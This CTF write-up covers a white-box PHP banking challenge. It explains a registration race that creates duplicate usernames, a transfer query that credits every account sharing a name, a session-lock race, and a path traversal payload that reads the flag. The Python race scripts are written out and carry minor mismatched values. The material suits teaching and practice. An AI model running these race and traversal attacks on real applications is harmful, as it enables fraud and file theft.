July 27, 2026
Brew Bank Official Writeup | EYCC CTF
بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ

By Abdelrahman Radwan
5 min read
بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ
Overview
This is a white-box challenge.
When you register a new account, you receive $1, but you must somehow increase your balance to $1,000,000 in order to become a VIP. Once you become a VIP, you gain access to functionality that contains a path traversal vulnerability, which can then be used to read the flag.
The real challenge is figuring out how to reach the required $1,000,000 balance.
define('VIP_THRESHOLD', 1000000);
define('INITIAL_BALANCE', 1);define('VIP_THRESHOLD', 1000000);
define('INITIAL_BALANCE', 1);Source Code Analysis
init.sql
While reviewing init.sql, you will notice that the username column is not defined as UNIQUE.
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(255) NOT NULL UNIQUE,
username TEXT NOT NULL,
password VARCHAR(255) NOT NULL,
balance BIGINT NOT NULL DEFAULT 100
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(255) NOT NULL UNIQUE,
username TEXT NOT NULL,
password VARCHAR(255) NOT NULL,
balance BIGINT NOT NULL DEFAULT 100
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;Although the application checks whether a username already exists during registration in register.php, the database itself does not enforce uniqueness. That observation became important later.
register.php
The registration logic looks like this:
$stmt = $pdo->prepare("SELECT id FROM users WHERE email = ?");
$stmt->execute([$email]);
if ($stmt->fetch()) {
$error = 'This email is already registered.';
} else {
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$username]);
if ($stmt->fetch()) {
$error = 'Username is already taken.';
} else {
$hashed = password_hash($password, PASSWORD_DEFAULT);
$stmt = $pdo->prepare(
"INSERT INTO users (email, username, password, balance) VALUES (?, ?, ?, ?)"
);
$stmt->execute([$email, $username, $hashed, INITIAL_BALANCE]);
}
}$stmt = $pdo->prepare("SELECT id FROM users WHERE email = ?");
$stmt->execute([$email]);
if ($stmt->fetch()) {
$error = 'This email is already registered.';
} else {
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$username]);
if ($stmt->fetch()) {
$error = 'Username is already taken.';
} else {
$hashed = password_hash($password, PASSWORD_DEFAULT);
$stmt = $pdo->prepare(
"INSERT INTO users (email, username, password, balance) VALUES (?, ?, ?, ?)"
);
$stmt->execute([$email, $username, $hashed, INITIAL_BALANCE]);
}
}This code is vulnerable to a classic TOCTOU (Time-of-Check to Time-of-Use) race condition.
The application performs the following steps:
- Checks whether the email already exists.
- Checks whether the username already exists.
- Hashes the password.
- Inserts the new user into the database.
Because the checks and the insertion are separate operations and are not protected by a transaction or a database lock, multiple concurrent registration requests can all pass the username check before any of them performs the insert.
As a result, it becomes possible to create multiple accounts with the same username.
transfer.php
The money transfer logic is implemented as follows:
$stmt = $pdo->prepare("UPDATE users SET balance = balance - ? WHERE id = ?");
$stmt->execute([$amount, $_SESSION['user_id']]);
$stmt = $pdo->prepare("UPDATE users SET balance = balance + ? WHERE username = ?");
$stmt->execute([$amount, $recipient_name]);$stmt = $pdo->prepare("UPDATE users SET balance = balance - ? WHERE id = ?");
$stmt->execute([$amount, $_SESSION['user_id']]);
$stmt = $pdo->prepare("UPDATE users SET balance = balance + ? WHERE username = ?");
$stmt->execute([$amount, $recipient_name]);The sender's balance is updated correctly using their unique user ID:
UPDATE users
SET balance = balance - ?
WHERE id = ?UPDATE users
SET balance = balance - ?
WHERE id = ?However, the recipient is updated using their username:
UPDATE users
SET balance = balance + ?
WHERE username = ?UPDATE users
SET balance = balance + ?
WHERE username = ?Since usernames are not actually unique, this query credits every account that shares the same username.
Exploiting the Logic
Suppose two accounts share the username Test1!a21s.
When one of them sends money to Test1!a21s:
- The sender loses the specified amount because the deduction is performed using its ID.
- Immediately afterward, every account with that username receives the transferred amount.
That means the sender is also credited back because it shares the same username.
Effectively:
Sender
- amount+ amount
Every other account with the same username
+ amount
This causes the total amount of money in the system to increase with every transfer.
Exploitation
Step 1 — Create Duplicate Usernames
This can be done using Burp Suite Repeater with the Group tab by sending requests in parallel, or with the following Python script:
import threading
import requests
url = "http://localhost:1337/register.php"
def register(i):
r = requests.post(url, data={
"email": f"useraasa{i}@test.com",
"username": "Test1!a21s",
"password": "12345678"
})
if "Account created" in r.text:
print(f"Success: useraasa{i}@test.com")
else:
print(f"Failed: useraasa{i}@test.com")
for i in range(20):
threading.Thread(target=register, args=(i,)).start()import threading
import requests
url = "http://localhost:1337/register.php"
def register(i):
r = requests.post(url, data={
"email": f"useraasa{i}@test.com",
"username": "Test1!a21s",
"password": "12345678"
})
if "Account created" in r.text:
print(f"Success: useraasa{i}@test.com")
else:
print(f"Failed: useraasa{i}@test.com")
for i in range(20):
threading.Thread(target=register, args=(i,)).start()
Step 2 — Abuse the Transfer Logic
Once multiple accounts have the same username, simply transfer money between them.
This can be done manually with Burp Suite or automatically using the following script:
import re
import requests
url = "http://localhost:1337"
def login(username, password):
s = requests.Session()
s.post(url+"/login.php", data={
"email": username,
"password": password
})
return s
def get_balance(html):
m = re.search(r'<span class="currency">\s*\$\s*</span>\s*([\d,]+)', html, re.S)
return m.group(1) if m else "Unknown"
session1 = login("useraasa4@test.com", "123456789")
session2 = login("useraasa8@test.com", "123456789")
balance1 = 1
balance2 = 1
for i in range(16):
print(f"\n=== Round {i+1} ===")
r = session1.post(
url+"/transfer.php",
data={
"amount": balance1,
"recipient": "Testas1!a21ss"
},
allow_redirects=True,
)
print(f"Session1 | amount={balance1} | balance={get_balance(r.text)}")
balance2 += balance1
r = session2.post(
url+"/transfer.php",
data={
"amount": balance2,
"recipient": "Testas1!a21ss"
},
allow_redirects=True,
)
print(f"Session2 | amount={balance2} | balance={get_balance(r.text)}")
balance1 += balance2import re
import requests
url = "http://localhost:1337"
def login(username, password):
s = requests.Session()
s.post(url+"/login.php", data={
"email": username,
"password": password
})
return s
def get_balance(html):
m = re.search(r'<span class="currency">\s*\$\s*</span>\s*([\d,]+)', html, re.S)
return m.group(1) if m else "Unknown"
session1 = login("useraasa4@test.com", "123456789")
session2 = login("useraasa8@test.com", "123456789")
balance1 = 1
balance2 = 1
for i in range(16):
print(f"\n=== Round {i+1} ===")
r = session1.post(
url+"/transfer.php",
data={
"amount": balance1,
"recipient": "Testas1!a21ss"
},
allow_redirects=True,
)
print(f"Session1 | amount={balance1} | balance={get_balance(r.text)}")
balance2 += balance1
r = session2.post(
url+"/transfer.php",
data={
"amount": balance2,
"recipient": "Testas1!a21ss"
},
allow_redirects=True,
)
print(f"Session2 | amount={balance2} | balance={get_balance(r.text)}")
balance1 += balance2
After reaching a balance of $1,000,000, logging into any of the duplicated accounts grants VIP status.
recipe.php
$recipe = $_GET['recipe'] ?? 'espresso.txt';
$content = @file_get_contents("recipes/" . $recipe);$recipe = $_GET['recipe'] ?? 'espresso.txt';
$content = @file_get_contents("recipes/" . $recipe);The application directly concatenates user input into the file path without any validation, making it vulnerable to Path Traversal (Local File Inclusion).
A request such as:
/recipe.php?recipe=../../../../../flag.txt/recipe.php?recipe=../../../../../flag.txtreads the flag file outside the recipes/ directory.
Another Unintended Solution
It is also possible to exploit a race condition in transfer.php without creating multiple accounts with the same username.
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_SESSION['user_id']]);
$sender = $stmt->fetch();
if (!$sender) {
session_destroy();
header('Location: login.php');
exit;
}
if ($amount <= 0) {
$_SESSION['flash'] = ['type' => 'error', 'message' => 'Amount must be greater than zero.'];
header('Location: dashboard.php');
exit;
}
if ($amount > $sender['balance']) {
$_SESSION['flash'] = ['type' => 'error', 'message' => 'Insufficient balance.'];
header('Location: dashboard.php');
exit;
}
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$recipient_name]);
if (!$stmt->fetch()) {
$_SESSION['flash'] = ['type' => 'error', 'message' => 'Recipient not found.'];
header('Location: dashboard.php');
exit;
}
$stmt = $pdo->prepare("UPDATE users SET balance = balance - ? WHERE id = ?");
$stmt->execute([$amount, $_SESSION['user_id']]);
$stmt = $pdo->prepare("UPDATE users SET balance = balance + ? WHERE username = ?");
$stmt->execute([$amount, $recipient_name]);$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_SESSION['user_id']]);
$sender = $stmt->fetch();
if (!$sender) {
session_destroy();
header('Location: login.php');
exit;
}
if ($amount <= 0) {
$_SESSION['flash'] = ['type' => 'error', 'message' => 'Amount must be greater than zero.'];
header('Location: dashboard.php');
exit;
}
if ($amount > $sender['balance']) {
$_SESSION['flash'] = ['type' => 'error', 'message' => 'Insufficient balance.'];
header('Location: dashboard.php');
exit;
}
$stmt = $pdo->prepare("SELECT id FROM users WHERE username = ?");
$stmt->execute([$recipient_name]);
if (!$stmt->fetch()) {
$_SESSION['flash'] = ['type' => 'error', 'message' => 'Recipient not found.'];
header('Location: dashboard.php');
exit;
}
$stmt = $pdo->prepare("UPDATE users SET balance = balance - ? WHERE id = ?");
$stmt->execute([$amount, $_SESSION['user_id']]);
$stmt = $pdo->prepare("UPDATE users SET balance = balance + ? WHERE username = ?");
$stmt->execute([$amount, $recipient_name]);The application first retrieves the sender's balance, validates it, and only afterward updates the database.
This creates a race window where multiple concurrent requests can all pass the balance check before any of them deducts the balance.
In brief:
- Create two accounts:
username_1 = A,username_2 = B - Log in to account A using 20 different sessions.
- Send transfer requests from A to B in parallel using Burp Suite or a script.
- After all requests complete, B receives approximately 20× A's balance.
- Repeat the process by logging into B using 20 different sessions.
- Send parallel transfers from B back to A.
- After the transfers complete, A now holds approximately 20× B's balance.
- Repeat this steps until get 1000000.
Why use multiple sessions?
Why not simply send 20 parallel requests from the same session?
Because PHP locks the session file while a request is being processed.
As a result, requests using the same PHP session are executed sequentially, not concurrently. Each request waits for the previous one to finish. using multiple authenticated sessions for the same account bypasses the session lock, allowing the requests to execute in parallel and making the race condition exploitable.
There is also a different solution in the Brew Bank Revenge challenge write-up.